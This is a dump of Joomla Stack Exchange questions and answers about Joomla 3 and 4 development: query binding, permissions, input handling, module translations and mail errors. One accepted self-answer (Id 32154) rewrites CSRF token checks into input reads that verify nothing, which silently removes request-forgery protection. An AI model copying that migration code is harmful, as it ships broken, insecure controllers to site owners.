queries using loops or when reusing variables. On the other hand, this allows running repeated statements without having to prepare the query again.&lt;/p&gt;&#xA;&lt;p&gt;To bind a parameter, use query's &lt;code&gt;bind()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;// Get database instance&#xA;$db = Factory::getDbo();&#xA;&#xA;// Get a new query&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from('#__mytable')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('myColumn') . ' = :myParam')&#xA;    -&amp;gt;bind(':myParam', $myValue);&#xA;&#xA;// Prepare the query&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Set the parameter value&#xA;$myValue = $this-&amp;gt;getSomeUserInputValue();&#xA;&#xA;// Execute the query and load the results&#xA;$result = $db-&amp;gt;loadObject();&#xA;&#xA;// We can update the parameter value and run the same query again&#xA;$myValue = $this-&amp;gt;getSomeOtherUserInputValue();&#xA;$result = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;bind()&lt;/code&gt; method accepts several more arguments: parameter type, length and driver options. You can read about them in PHP &lt;a href=&quot;https://www.php.net/manual/en/pdostatement.bindparam.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;. Note that for parameter type you should use Joomla's defined constants which you can find in &lt;code&gt;Joomla\Database\ParameterType&lt;/code&gt; class. It defaults to string type, but, for example, if the parameter is an integer you would use &lt;code&gt;Joomla\Database\ParameterType::INTEGER&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;bind(':myParam', $myValue, ParameterType::INTEGER);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Although if you don't intend to use repeated statements, you can omit the parameter and just cast it to an integer as you are currently doing.&lt;/p&gt;&#xA;&lt;p&gt;There is also a &lt;code&gt;bindArray()&lt;/code&gt; method which accepts an array of values and creates parameters in place. It binds the value and not the variable so it's perfect for building multi-row insert/update queries:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;insert('#__mytable')&#xA;    -&amp;gt;columns(['id', 'title']);&#xA;&#xA;    foreach ($rows as $row)&#xA;    {&#xA;        $query-&amp;gt;values(&#xA;            implode(&#xA;                ',',&#xA;                $query-&amp;gt;bindArray(&#xA;                    // $row = ['id' =&amp;gt; 1, 'title' =&amp;gt; 'my title']&#xA;                    $row,&#xA;                    [ParameterType::INTEGER, ParameterType::STRING]&#xA;                )&#xA;            )&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are also &lt;code&gt;whereIn()&lt;/code&gt;/&lt;code&gt;whereNotIn()&lt;/code&gt; methods for quickly building &lt;code&gt;WHERE IN&lt;/code&gt;/&lt;code&gt;WHERE NOT IN&lt;/code&gt; queries.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('*')-&amp;gt;from('#__mytable')-&amp;gt;whereNotIn('id', $arrayOfIds);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;They internally use &lt;code&gt;bindArray()&lt;/code&gt; and the above query results in this SQL string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM #__mytable WHERE id NOT IN (:preparedArray1,:preparedArray2,:preparedArray3) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-07T10:08:11.897" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32137" PostTypeId="2" ParentId="32130" CreationDate="2022-05-09T03:33:01.027" Score="3" Body="&lt;p&gt;The ability for people with only Author level access to edit their own articles, ones they have created, is limited to only Articles that are Published, meaning they cannot edit an Article they have created until it becomes Published.&lt;/p&gt;&#xA;&lt;p&gt;This quirk goes back to a decision or assumption made back in the very first version of Joomla, and maybe Mambo before that, to use the State field, displayed as Status in J4, of article being Published or Unpublished as a pseudo indication of whether it is approved or not approved.&lt;/p&gt;&#xA;&lt;p&gt;It should/could have been solved with the introduction of Workflow but alas it wasn't.&lt;/p&gt;&#xA;&lt;p&gt;Specifically to answer your question to work around the above restriction;&lt;/p&gt;&#xA;&lt;p&gt;The creating of a trail of modifications or revisions per article is already available with the use of History or Versioning which is set by default in J4 and can be turned on in J3 in Content Options. This would be better than creating 'new' articles each time a change is made.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h9KHY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9KHY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To force any article updated by an Author to become unpublished would need a small Plugin that is executed just before the article is saved to check if someone with Author level access is saving the record and force the State field to be saved as Unpublished. This will mean that any Article edited by an Author will need someone with a higher level of access to 'Approve' the article by making it Published/Approved. This is required due to the permission you are about to change in the next step.&lt;/p&gt;&#xA;&lt;p&gt;You can allow Authors to edit their own articles, in a Published state or not, by changing the Content Permissions to allow the Authors to Edit State(see image below) which will then allow them to see articles they have created that are in an Unpublished state, however it also means they will be able to see &lt;strong&gt;all&lt;/strong&gt; Articles in an Unpublished State, but not be able to Edit them.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QHLNS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QHLNS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whether opening up this level of visibility of unpublished articles is an issue for your site is a decision only you can make.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-05-09T03:33:01.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32138" PostTypeId="1" CreationDate="2022-05-09T17:22:52.607" Score="1" ViewCount="174" Body="&lt;p&gt;When doing this in a frontend controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyControllerCustom extends BaseController&#xA;{&#xA;    public function __construct($config = array())&#xA;    {&#xA;        parent::__construct($config);&#xA;&#xA;        print_r($this-&amp;gt;input-&amp;gt;get('id'));&#xA;        ...&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and calling it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_mycomp&amp;amp;task=custom.hello&amp;amp;id=777&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 3 i get 777. Fine.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 i get the Article ID the home menu link is bound to. Joomla 4 puts the whole menu item including the ID into the input structure.&lt;/p&gt;&#xA;&lt;p&gt;Is that how it should work? How to get the get parameter in Joomla 4 directly without messing Joomla 4 with menu item stuff around?&lt;/p&gt;&#xA;&lt;p&gt;I could focus on getting it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id = $this-&amp;gt;input-&amp;gt;get-&amp;gt;get('id', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that's kind of lazy.&lt;/p&gt;&#xA;&lt;p&gt;This is no router issue.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2022-05-09T17:30:25.090" LastActivityDate="2022-05-09T17:30:25.090" Title="Getting input param from controller in Joomla 3 vs. 4" Tags="|joomla-4.x|jinput|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32139" PostTypeId="1" CreationDate="2022-05-10T16:20:04.530" Score="1" ViewCount="36" Body="&lt;p&gt;I have a config.xml with some parameters for my component.&lt;/p&gt;&#xA;&lt;p&gt;I need to define these parameters for each individual item.&lt;/p&gt;&#xA;&lt;p&gt;So in admin/models/forms/myview.xml, I've written my fields:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;params&amp;quot; label=&amp;quot;JGLOBAL_FIELDSET_DISPLAY_OPTIONS&amp;quot;&amp;gt;&#xA;    ...etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in my admin/tables/myview.php, inside the &amp;quot;bind&amp;quot; function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($array['params']) &amp;amp;&amp;amp; is_array($array['params']))&#xA;{&#xA;    // Convert the params field to a string.&#xA;    $parameter = new JRegistry;&#xA;    $parameter-&amp;gt;loadArray($array['params']);&#xA;    $array['params'] = (string)$parameter;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The form is able to save data &amp;quot;params&amp;quot; in the database, but doesn't retrieve any params if saved.&lt;/p&gt;&#xA;" OwnerUserId="16322" LastEditorUserId="12352" LastEditDate="2022-05-11T01:10:03.140" LastActivityDate="2024-02-01T04:09:16.133" Title="admin edit.php saves but doesn't retrieve data from &quot;params&quot; database field" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32140" PostTypeId="1" CreationDate="2022-05-11T03:04:07.573" Score="1" ViewCount="43" Body="&lt;p&gt;I have updated my website to Joomla 4.13 and using Postman to get data via Joomla 4 webservices.&#xA;I have turned on the Debug.&#xA;Now I'm getting a response to the Postman &amp;quot;Session must be started before using stack data in the debug bar&amp;quot; and it turns out /libraries/vendor/maximebf/debugbar/src/DebugBar/DebugBar.php (line 447) throw new DebugBarException(&amp;quot;Session must be started before using stack data in the debug bar&amp;quot;); is executing.&#xA;Can anyone help me?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16324" LastEditorUserId="13472" LastEditDate="2022-05-12T07:48:40.913" LastActivityDate="2022-05-12T07:48:40.913" Title="Joomla exception &quot;throw new DebugBarException(&quot;Session must be started before using stack data in the debug bar&quot;);&quot;" Tags="|joomla-4.x|restful-api|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32141" PostTypeId="2" ParentId="31713" CreationDate="2022-05-11T07:06:08.023" Score="2" Body="&lt;p&gt;There is no simple answer to this as exact performance would depend on a number of factors, including number of modules, menu items and installed plugins. The important thing to understand is that modules are not executed until actually needed. I.e. if module is assigned to a position not present in the template, it will not be rendered. So there is at least no major performance impact. Plugins that heavily process modules during &lt;code&gt;onAfterModuleList&lt;/code&gt; event could affect performance though.&lt;/p&gt;&#xA;&lt;p&gt;There is also a trade off when using menu assignments. This is because for every menu item assigned/unassigned a database entry is made in &lt;code&gt;#__modules_menu&lt;/code&gt; table. This could affect performance when loading the initial module list. And when using &amp;quot;On all pages except those selected&amp;quot; assignment mode, plugins with &lt;code&gt;onAfterModuleList&lt;/code&gt; could be greatly affected since the module list contains duplicate instances of the same module, one for each menu item unassigned.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-11T07:06:08.023" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32142" PostTypeId="2" ParentId="32139" CreationDate="2022-05-11T08:31:53.517" Score="0" Body="&lt;p&gt;To resolve the behaviour, I've deleted this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem($pk = null)&#xA;{&#xA;    if ($item = parent::getItem($pk))&#xA;    {&#xA;        if (isset($item-&amp;gt;params))&#xA;        {&#xA;            $item-&amp;gt;params = json_encode($item-&amp;gt;params);&#xA;        }&#xA;    }&#xA;    return $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16322" LastEditorUserId="12352" LastEditDate="2022-05-11T23:15:23.213" LastActivityDate="2022-05-11T23:15:23.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32143" PostTypeId="1" AcceptedAnswerId="32144" CreationDate="2022-05-13T09:02:16.013" Score="0" ViewCount="28" Body="&lt;p&gt;I regularly copy a existing module like mod_articles_news and I'd like to do some custom fields and things on it. But when I do this the translation strings don't get translated anymore. I keep using the languages tags in the xml file that are already there, but that seems to not work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.mod_articles_news.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB.mod_articles_news.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know how to make sure that these tags are still getting translated? Do i need to copy the language files or somethign?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2022-05-15T23:45:24.380" Title="Copying module, using the translation strings from the copied module" Tags="|module|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32144" PostTypeId="2" ParentId="32143" CreationDate="2022-05-13T10:39:53.867" Score="1" Body="&lt;p&gt;If I understand your question correctly you are copying &lt;code&gt;mod_articles_news&lt;/code&gt; to create a new module called '&lt;code&gt;mod_my_new_module&lt;/code&gt; and in the &lt;code&gt;mod_my_new_module.xml&lt;/code&gt; you leave the &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; settings the same as you have pasted in your question above? And the problem is when you install your new Module the MOD_TEXT_STRING doesn't get translated?&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;language&amp;gt;&lt;/code&gt; elements of the .xml file are only used during installation to tell the installer where to the find the language files(.ini &amp;amp; .sys.ini) you have provided in your installation file(.zip file) so that they can be copied to the Language folders of the Joomla instance. If you aren't providing any language files then the above two statements should be producing an error on installation they can't be found.&lt;/p&gt;&#xA;&lt;p&gt;When your Module is called the processing tries to automatically resolve the name of your language files, expecting them to be called &lt;code&gt;mod_my_new_module.ini&lt;/code&gt; and &lt;code&gt;mod_my_new_module.sys.ini&lt;/code&gt; and because you haven't supplied during installation any that they are not found.&lt;/p&gt;&#xA;&lt;p&gt;You need to copy/create your own language files using the naming conventions outlined in the documentation and include them when you install your new module.&lt;/p&gt;&#xA;&lt;p&gt;You could force the module to load the language files for &lt;code&gt;mod_articles_news&lt;/code&gt; but if you follow the normal process then it isn't required.&lt;/p&gt;&#xA;&lt;p&gt;Updated....&lt;/p&gt;&#xA;&lt;p&gt;If you want to just copy the files and rename them to match your new module name in the Language directory and then can continue to use Discover to find them that is quickest approach.&lt;/p&gt;&#xA;&lt;p&gt;However if you want to learn how to create a module 'properly' then read some of the tutorials on creating modules and extension manifest &amp;amp; language files as you will find it more useful than relying on Discover.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-05-15T23:45:24.380" LastActivityDate="2022-05-15T23:45:24.380" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32145" PostTypeId="1" CreationDate="2022-05-13T14:26:17.107" Score="0" ViewCount="853" Body="&lt;p&gt;In Joomla 4, when I use &lt;em&gt;&amp;quot;RouteHelper::getArticleRoute&amp;quot;&lt;/em&gt;, I get the next error: &amp;quot;Attempted to load class &lt;em&gt;RouteHelper&lt;/em&gt; from namespace &lt;em&gt;Joomla\Component\Content\Site\Helper&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I want to use from a script where I load Joomla like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;&#xA;if (file_exists(dirname(__DIR__) . '/defines.php')) {&#xA;    include_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;// Check for presence of vendor dependencies not included in the git repository&#xA;if (!file_exists(JPATH_LIBRARIES . '/vendor/autoload.php') || !is_dir(JPATH_ROOT . '/media/vendor')) {&#xA;    echo file_get_contents(JPATH_ROOT . '/templates/system/build_incomplete.html');&#xA;    exit;&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;// Alias the session service keys to the web session service as that is the primary session backend for this application&#xA;// In addition to aliasing &amp;quot;common&amp;quot; service keys, we also create aliases for the PHP classes to ensure autowiring objects is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered deprecated to be removed when the class name alias is removed as well.&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;How can I use &lt;em&gt;&amp;quot;RouteHelper::getArticleRoute&amp;quot;&lt;/em&gt; there?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16329" LastActivityDate="2022-05-13T18:37:29.707" Title="Joomla 4: Error when I use getArticleRoute" Tags="|articles|joomla-4.x|joomla-4|router|joomla-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32146" PostTypeId="2" ParentId="32145" CreationDate="2022-05-13T18:37:29.707" Score="2" Body="&lt;p&gt;You need to register extension namespaces to use extension classes. This can be done with &lt;code&gt;JNamespacePsr4Map::load()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JNamespacePsr4Map', JPATH_LIBRARIES . '/namespacemap.php');&#xA;(new JNamespacePsr4Map)-&amp;gt;load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or you can call the same code through the application:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;createExtensionNamespaceMap();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-13T18:37:29.707" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32147" PostTypeId="1" CreationDate="2022-05-14T11:12:28.880" Score="0" ViewCount="73" Body="&lt;p&gt;i see front page without component, → 404 error not shows but i have its in my template..&#xA;error.php:&#xA;error-&gt;getCode(); ?&gt; - title; ?&gt;&lt;/p&gt;&#xA;&lt;p&gt;i found very much articles, whats is maybe litespeed not support htacess rules, but they can read htaccess full rules, maybe.&lt;/p&gt;&#xA;&lt;p&gt;tested all server configs, 404 page worked if no .htaccess in litespeed, buts site and virtuemart SEF links dead.&#xA;pludin 404 errors by virtuemart not worked too.&#xA;pls help !!!&lt;/p&gt;&#xA;&lt;p&gt;when get php fatal error see page i think its component likely 404 page error.php&#xA;but understand why 404  error.php not worked&lt;/p&gt;&#xA;&lt;p&gt;centos 7, litespeed, php 7.4.28&#xA;i see HTTP  200 OK anymore&lt;/p&gt;&#xA;" OwnerUserId="16333" LastEditorUserId="16333" LastEditDate="2022-05-14T11:44:30.450" LastActivityDate="2022-05-14T11:44:30.450" Title="Joomla all versions not worked 404 pages on Litespeed server" Tags="|joomla-3.x|php|joomla-3.4|joomla-3.3.x|joomla-4.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32148" PostTypeId="1" AcceptedAnswerId="32154" CreationDate="2022-05-14T23:23:59.560" Score="1" ViewCount="3657" Body="&lt;p&gt;JRequest Remove from Joomla 4 then how i must use this method&lt;/p&gt;&#xA;&lt;p&gt;for example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $controller-&amp;gt;execute( JRequest::getCmd('task', $view)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;not work&#xA;i must change it to what ?&lt;/p&gt;&#xA;" OwnerUserId="15061" LastActivityDate="2022-05-16T21:04:52.930" Title="JRequest Method in Joomla 4" Tags="|php|javascript|joomla-4.x|joomla-4|html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32149" PostTypeId="1" CreationDate="2022-05-15T08:56:02.067" Score="0" ViewCount="233" Body="&lt;p&gt;On Joomla! 4.1.3 i have set the mail settings the first time i have tried with gmail SMTP and the second time with office365 smtp in both case i'am not able to send mail.&lt;/p&gt;&#xA;&lt;p&gt;When i hit the button &amp;quot;Send test mail&amp;quot; no messages appear and no mails is send, if i hit close button i have this error appear when i'am redirected : &lt;code&gt;An error occured while fetching the JSON data: HTTP 0 status code&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have enabled debug in Joomla! configuration panel and the error reporting is set to maximum&lt;/p&gt;&#xA;&lt;p&gt;How to know what is going on ?&lt;/p&gt;&#xA;&lt;p&gt;The server behind it's on debian 11 : php7.4.28, apache2&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2022-05-15T09:05:20.600" LastActivityDate="2023-05-25T16:36:18.360" Title="Error when trying to sendmail An error occured while fetching the JSON data: HTTP 0 status code" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32150" PostTypeId="2" ParentId="32148" CreationDate="2022-05-15T10:48:26.487" Score="4" Body="&lt;p&gt;Use &lt;code&gt;Joomla\Input\Input&lt;/code&gt; class. Instance relevant to the current request can be accessed through the application:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$controller-&amp;gt;execute(Factory::getApplication()-&amp;gt;getInput()-&amp;gt;get('task', $view));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside controllers you should already have the input instance injected which you could use like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;input-&amp;gt;get('inputVar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-05-15T10:48:26.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32151" PostTypeId="1" AcceptedAnswerId="32152" CreationDate="2022-05-16T00:50:02.003" Score="1" ViewCount="201" Body="&lt;p&gt;Since J4.1 help text (description) is hidden in the config.xml file for my component.  So how do I add the &amp;quot;Toggle Inline Help&amp;quot; button to my config view of my component?&#xA;I can add this toggle button in my admin edit form easily enough using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ToolbarHelper::inlinehelp('hide-aware-inline-help');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I need this in the configuration options view.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2022-05-16T01:28:50.290" LastActivityDate="2022-05-16T03:53:16.367" Title="How to add Toggle Inline Help button to config" Tags="|joomla-4.x|component-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32152" PostTypeId="2" ParentId="32151" CreationDate="2022-05-16T03:53:16.367" Score="2" Body="&lt;p&gt;Found the solution.  In the config.xml file add an element such as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;inlinehelp button=&amp;quot;show&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Works like a charm.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2022-05-16T03:53:16.367" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32153" PostTypeId="1" CreationDate="2022-05-16T07:35:51.663" Score="0" ViewCount="38" Body="&lt;p&gt;I am going to write a plugin for &lt;strong&gt;J2store&lt;/strong&gt; to check if the current user has purchased the product successfully or not.&#xA;I do not know how to use the &lt;strong&gt;J2store API&lt;/strong&gt; to check if the user has purchased the product successfully or not&#xA;please guide me...&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose I have the user ID and the Joomla content ID that was converted to a product by the j2tore. Now how do I check with the J2store API that the user has purchased the product?&lt;/p&gt;&#xA;" OwnerUserId="2160" LastEditorUserId="2160" LastEditDate="2022-05-16T13:50:31.847" LastActivityDate="2022-05-16T13:50:31.847" Title="How to check in my plugin whether the user has bought a product in the j2store or not" Tags="|joomla-3.x|j2store|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32154" PostTypeId="2" ParentId="32148" CreationDate="2022-05-16T12:38:14.313" Score="0" Body="&lt;p&gt;This is some of the current code inside my controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function add() {&#xA;    if(JRequest::checkToken( 'get' )) {&#xA;        JRequest::checkToken( 'get' ) or die( 'Invalid Token' );&#xA;    } else {&#xA;        JRequest::checkToken() or die( 'Invalid Token' );&#xA;    }&#xA;    JRequest::setVar('hidemainmenu', 1);        &#xA;    $model = $this-&amp;gt;getModel('albums');&#xA;    &#xA;    $view = $this-&amp;gt;getView('albums', 'html');               &#xA;    $view-&amp;gt;setModel($model, true);      &#xA;    $view-&amp;gt;setLayout('add');&#xA;    $view-&amp;gt;add();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It must be changed to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function add() {&#xA;    if(Factory::getApplication()-&amp;gt;getInput()-&amp;gt;get('get')) {&#xA;        Factory::getApplication()-&amp;gt;getInput()-&amp;gt;get('get') or die( 'Invalid Token' );&#xA;    } else {&#xA;        JFactory::getApplication()-&amp;gt;getInput() or die( 'Invalid Token' );&#xA;    }&#xA;    &#xA;    $this-&amp;gt;input-&amp;gt;get('hidemainmenu', 1);   &#xA;    $model = $this-&amp;gt;getModel('albums');&#xA;    &#xA;    $view = $this-&amp;gt;getView('albums', 'html');               &#xA;    $view-&amp;gt;setModel($model, true);      &#xA;    $view-&amp;gt;setLayout('add');&#xA;    $view-&amp;gt;add();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="12352" LastEditDate="2022-05-16T21:04:52.930" LastActivityDate="2022-05-16T21:04:52.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32155" PostTypeId="1" CreationDate="2022-05-16T12:52:04.627" Score="0" ViewCount="196" Body="&lt;p&gt;I am trying to sign up in a portal but I am getting the following error; &amp;quot;SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'password' cannot be null&lt;/p&gt;&#xA;&lt;p&gt;How do I solve this problem?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GNavv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNavv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15691" LastActivityDate="2022-05-16T12:52:04.627" Title="An exception occurred while executing 'INSERT INTO" Tags="|php|database|phpmyadmin|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32156" PostTypeId="1" CreationDate="2022-05-17T07:54:45.680" Score="1" ViewCount="136" Body="&lt;p&gt;I have a List &amp;quot;Document Manager&amp;quot; defined in Fabrik module in Joomla and I want to pre-filter the documents from the list, in order to show only the documents belonging to the currently logged in user.&lt;/p&gt;&#xA;&lt;p&gt;For example: if Testuser is logged in, in Document Manager list, I want to see only the documents created by the Testuser. I have attached two screenshots for more details.&lt;/p&gt;&#xA;&lt;p&gt;Somehow it looks like a script in the background is resetting those pre-filters, but I can't find it.&lt;/p&gt;&#xA;&lt;p&gt;I checked also if the Menu Item &amp;quot;Document Manager&amp;quot; has any pre-filter set, but it doesn't.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xhVYT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xhVYT.png&quot; alt=&quot;Fabrik_List&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Rj64.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Rj64.png&quot; alt=&quot;Pre-filter&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16181" LastEditorUserId="12352" LastEditDate="2022-05-18T20:51:51.547" LastActivityDate="2022-05-18T20:51:51.547" Title="Pre-filter set without any effect in List Fabrik Joomla" Tags="|joomla-3.x|filter|fabrik|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
